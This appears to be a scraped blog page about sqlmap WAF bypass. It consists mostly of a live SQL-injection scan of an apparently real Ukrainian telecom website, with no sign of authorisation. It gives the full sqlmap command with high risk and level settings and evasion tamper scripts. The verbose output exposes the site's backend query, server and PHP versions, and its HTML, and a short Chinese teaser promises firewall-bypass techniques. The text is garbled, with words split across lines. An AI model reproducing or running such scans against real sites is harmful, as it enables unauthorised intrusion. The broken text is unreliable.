sqlmap -u "https://www.skylinetele.com/ua/site/domains.php/1'"
--random
-agent
--level=4
--risk=3
--dbs
--parse
-errors
-v 6
--force
-ssl
--tamper=space2comment,charencode
--delay=
sqlmap identified the database as My
SQL
13:29:08] [WARNING] parsed DBMS error message: 'Invalid query :'SELECT * FROM site WHERE url='1'';' You have an error in your
SQL syntax; check the manual that corresponds to your My
SQL server version for the right syntax to use near ''1''' at line 1'
[13:29:08] [TRAFFIC IN] HTTP response [#11
195] (200 OK):
Date: Tue,
19 Aug 2025 03:29:07 GMT
Server: Apache/2.2.22 (Debian)
X
-Powered
-By: PHP/5.6.40
-1~dotdeb+7.1
Vary: Accept
-Encoding
Content
-Encoding: gzip
Content
-Length: 2401
Connection: close
Content
-Type: text/html; charset=UTF
-8
URI: https://www.skylinetele.com/ua/site/domains.php/1'
<html>
<head>
<meta http
-equiv="Content
-Type" content="text/html; charset=utf
-8">
<meta name="copyright" content="\xa9 Skyline telecom 2012">
<meta name="keywords" content="интернет, телефония, хостинг, одесса, sip, сервера, передача данных">
<title>Скайлайн Телеком</title>
<link rel="shortcut icon" href="https://skylinetele.com/favicon.ico">
<link rel="stylesheet" href="/styles.css" type="text/css">
<script src="/ckeditor/ckeditor.js"></script>
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js"></script>
<script type="text/javascript">
$(document).ready(function(){
$('.spoiler_links').click(function(){
$(this).parent().children('div.spoiler_body').toggle('normal');
return false;
});
});
</script>
</head>
<body bgcolor=#ffffff text=#000000 link=#000000 vlink=#000000 alink=#000000 leftmargin=15 topmargin=15 marginheight=15 marginwidth=15>
<map name="hm">
<area shape="rect" coords="1,1,26,23" href="https://www.skylinetele.com" alt="Home" title="На головну">
<area shape="rect" coords="32,1,58,23" href="mailto:support@skylinetele.com" alt="Mail" title="Написати лист">
</map>
<table align=left border=0 cellspacing=0 cellpadding=3 width=970 height=100% bgcolor=#ffffff id=ten>
<tr>
<td colspan=2 align=left valign=center height=120>
<div style="float: right;"><b>
<a href="https://skylinetele.com/ua" title="ua"><font color=#FF6600>ua</font></a>
<font color=#FF6600> | </font>
<a href="https://skylinetele.com/ru" title="ru"><font color=#FF6600>ru</font></a>
    
<a href="https://stat.skylinetele.com" title="Для зареєстрованих користувачів"><font color=#FF6600>Вхід ↵</font></a></b> </div>
<div style="float: left;"> <img src="/img/hm.png" border="0" usemap="#hm"></div>
<div style="float: left; width: 100%;">
<object type="application/x
-shockwave
-flash" data="https://skylinetele.com/img/logo.swf" width="400" height="74">
<param name="movie" value="https://skylinetele.com/img/logo.swf" />
<param name="menu" value="false" />
<img src="/img/st
-logo
-hor
-eng
-small.jpg" width="400" height="74" alt="Скайлайн Телеком" />
</object>
</div>
<div style="clear: both"></div>
</td>
</tr>
<tr>
<td width=200 valign=top>
<table bgcolor="#FF6600" border="0" cellpadding="2" cellspacing="1" style="width:100%">
<tbody>
<tr>
<td bgcolor="#ffffff"><strong><a href="/ua/">Новини</a></strong></td>
</tr>
<tr>
<td bgcolor="#ffffff"><strong><a href="/ua/site/contract.html">Умови обслуговування</a></strong></td>
</tr>
<tr>
<td bgcolor="#ffffff"><strong><a href="/ua/site/popolnenie.shtml">Як поповнити рахунок</a></strong></td>
</tr>
<tr>
<td bgcolor="#ffffff"><strong><a href="/ua/site/services.shtml">Інтернет та передача даних</a></strong></td>
</tr>
<tr>
<td bgcolor="#ffffff">
<p><a href="/ua/site/ll_tarif.shtml">Виділені лінії</a><br />
<a href="/ua/site/transport.shtml">Передача даних</a><br />
<a href="/ua/site/wifi.shtml">Бездротовий зв'язок</a><br />
<a href="/ua/site/tarif.shtml">Додаткові послуги</a></p>
</td>
</tr>
<tr>
<td bgcolor="#ffffff"><strong><a href="/ua/site/tele1.shtml">Телефонія </a></strong></td>
</tr>
<tr>
<td bgcolor="#ffffff">
<p><a href="/ua/site/virtual_attendant.shtml"><span style="color:#F00E0E">Віртуальний секретар</span></a><br />
<a href="/ua/site/dostupniy
-mir.shtml">Послуга "Доступний Світ"</a><br />
<a href="/ua/site/tele2.shtml">PRI
-потік</a><br />
<a href="/ua/site/tele3.shtml">SIP</a><br />
<a href="/ua/site/tele4.shtml">Традиційна телефонія</a><br />
<a href="/ua/site/state.shtml">Як дізнатися про стан рахунку</a><br />
<!
--<a href="/ua/site/popolnenie.shtml">Як поповнити рахунок</a><br />
--> <a href="https://stat.skylinetele.com/bin/phcard" target="_blank"><strong>Поповнення рахунку</strong></a><br />
<a href="https://stat.skylinetele.com" target="_blank">Вхід для абонентів</a><br />
<a href="https://skylinetele.com/ua/site/quality
-of
-telecommunication
-services.shtml">Якість телекомунікаційних послуг</a></p>
</td>
</tr>
<tr>
<td bgcolor="#ffffff"><strong><a href="https://skylinetele.com/ua/site/hosting.shtml">Хостинг та доменні імена</a></strong></td>
</tr>
<tr>
<td bgcolor="#ffffff"><a href="https://www.host24.ua/hosting" target="_blank">Віртуальний хостинг</a><br />
<a href="https://www.host24.ua/colocation" target="_blank">Розміщення серверів</a><br />
<a href="/ua/site/domains.php">Реєстрація доменів</a><br />
<a href="/ua/site/document.php">Документація</a></td>
</tr>
<tr>
<td bgcolor="#ffffff"><strong><a href="/ua/site/users.shtml">Користувачі</a></strong></td>
</tr>
<tr>
<td bgcolor="#ffffff"><a href="https://stat.skylinetele.com" target="_blank">Вхід для користувачів</a></td>
</tr>
<tr>
<td bgcolor="#ffffff"><strong><a href="/ua/site/help.shtml">Допомога</a></strong></td>
</tr>
<tr>
<td bgcolor="#ffffff">
<p><a href="/ua/site/faq.shtml">Відповіді на запитання</a><br />
<a href="/ua/site/cards.shtml">Картки SkyCard</a><br />
<a href="/ua/site/shops.shtml">Де придбати картки</a></p>
</td>
</tr>
<tr>
<td bgcolor="#ffffff"><strong><a href="/ua/site/requisites.shtml">Контакти та реквізити</a></strong></td>
</tr>
</tbody>
</table>
<table width="100%">
<tbody>
<tr>
<td align="center" width="50%"><img alt="Mastercard" border="0" hspace="5" src="/img/mastercard.svg" vspace="5" width="50" /></td>
<td align="center" width="50%"><img alt="Visa" border="0" hspace="5" src="/img/visa.svg" vspace="5" width="50" /></td>
</tr>
</tbody>
</table>
<table style="width:100%">
<tbody>
<tr>
<td colspan="2">ТОВ "Компанія "Скайлайн Телеком"</td>
</tr>
<tr>
<td colspan="2">E
-mail: <a href="mailto:support@skylinetele.com">support@skylinetele.com</a></td>
</tr>
<tr>
<td colspan="2">телефон: +380 48 7972115</td>
</tr>
<tr>
<td colspan="2">факс: +380 48 7972115</td>
</tr>
</tbody>
</table>
<p>\xa0</p>
</td>
<td valign=top width=770>
<table border=0 cellspacing=1 cellpadding=2 width=100% bgcolor=#FF6600 id=ten>
Invalid query :'SELECT * FROM site WHERE url='1'';' You have an error in your
SQL syntax; check the manual that corresponds to your My
SQL server version for the right syntax to use near ''1''' at line 1
[13:29:08] [WARNING] parameter 'Referer' does not seem to be injectable
[13:29:08] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '
--level'/'
--risk' options if you wish to perform more tests. As heuristic test turned out positive you are strongly advised to continue on with the tests
SQL注入绕过WAF：sqlmap实战技巧
本文介绍了如何使用sqlmap绕过Web应用防火墙（WAF）的安全防御，包括通过IP白名单、静态资源、URL白名单和爬虫白名单的方式，以及利用特殊字符和编码技巧构造Payload来规避检测。同时提到了sqlmap的内置功能和解决防护拦截的方法。
最低0.47元/天 解锁文章
扫一扫
1274
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
